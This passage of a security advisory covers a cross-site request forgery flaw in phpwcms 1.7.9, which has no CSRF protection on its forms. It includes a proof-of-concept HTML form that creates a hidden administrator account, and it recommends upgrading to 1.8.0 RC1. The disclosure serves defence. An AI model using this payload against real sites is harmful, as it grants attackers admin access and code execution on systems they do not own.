2. Vulnerability Description
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
There is no CSRF protection for any forms, which means that an attacker can
perform any action a victim can perform, if the victim visits an attacker
controlled website while logged in. In the case of phpwcms, an attacker can add
an admin user and thus gain code execution.
3. Proof of Concept
Add Admin User:
<html>
<body>
<form action="http://localhost/phpwcms-phpwcms-1.7.9/phpwcms.php?do=admin&s=1" method="POST">
<input type="hidden" name="form_newloginname" value="Jane" />
<input type="hidden" name="form_newpassword" value="Smith" />
<input type="hidden" name="form_newemail" value="jane.smith@example.com" />
<input type="hidden" name="form_newrealname" value="Jane Smith" />
<input type="hidden" name="form_feuser" value="2" />
<input type="hidden" name="form_active" value="1" />
<input type="hidden" name="form_admin" value="1" />
<input type="hidden" name="verification_email" value="0" />
<input type="hidden" name="form_aktion" value="create_account" />
<input type="hidden" name="Submit" value="send user data" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. Solution
To mitigate this issue please upgrade at least to version 1.8.0 RC1:
https://github.com/slackero/phpwcms/archive/phpwcms-1.8.0-RC1.zip
